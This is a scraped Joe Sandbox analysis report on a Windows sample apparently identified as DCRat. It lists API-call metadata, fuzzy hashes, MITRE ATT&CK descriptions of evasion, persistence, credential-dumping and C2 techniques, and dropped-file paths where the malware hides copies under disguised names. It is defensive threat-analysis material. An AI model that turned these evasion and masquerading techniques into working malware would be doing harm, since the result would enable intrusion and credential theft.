Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,0000000C,?,?,004152D9,00000001,00000364,?,00000002,000000FF,?,?,0040E077,00415469), ref: 004140D5

Memory Dump Source

Source File: 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_KyC6hVwU8Z.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 14b8f9ac75b8980b6812ff089cde42dce8ba1f12a125e940596199f5ca44a4d3
Instruction ID: 7a371578952800d697783e4f14dfa84f7cfeb60b6085e341501622e7ba028638
Opcode Fuzzy Hash: 14b8f9ac75b8980b6812ff089cde42dce8ba1f12a125e940596199f5ca44a4d3
Instruction Fuzzy Hash: E9F0BB35605625ABDB215A63DC05BDB3F489FC5760B158123B904EB1A0CA68D9D1819D

Function 0041FB65 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,00000000,?,0041FF58,?,?,00000000,?,0041FF58,?,0000000C), ref: 0041FB82

Memory Dump Source

Source File: 00000006.00000002.2796508370.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_KyC6hVwU8Z.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 32f1cee3c5876f16e38c750b1e34007635eee82df29fa4d42b06ff8a7cf34f14
Instruction ID: 28cfbda6749b70c9de2fbd9d245fef773b8951bf2dd70127050a9a6bf190398c
Opcode Fuzzy Hash: 32f1cee3c5876f16e38c750b1e34007635eee82df29fa4d42b06ff8a7cf34f14
Instruction Fuzzy Hash: 05D06C3210010DFBDF128F84DC06EDA3FAAFB4C714F018010FA5856021C732E832AB94

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report KyC6hVwU8Z.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\MSBuild\Microsoft\PfjsOcNiQfAmiszo.exe

C:\Program Files (x86)\MSBuild\Microsoft\f6900929d627b7

C:\Program Files (x86)\Windows NT\Accessories\en-US\PfjsOcNiQfAmiszo.exe

C:\Program Files (x86)\Windows NT\Accessories\en-US\f6900929d627b7

C:\Program Files\Reference Assemblies\Microsoft\Framework\PfjsOcNiQfAmiszo.exe

C:\Program Files\Reference Assemblies\Microsoft\Framework\f6900929d627b7

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_KyC6hVwU8Z.exe_7ae57f7c7248cf8588555b1b76c76a3e9159bd9e_efcfc7cc_9a479775-244e-4fbe-910c-fcea0d05881f\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7596.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7604.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7663.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\pPTyCqA3ru.exe.log

C:\Users\user\AppData\Local\Temp\03wv9wpG7H

Windows Analysis Report
KyC6hVwU8Z.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre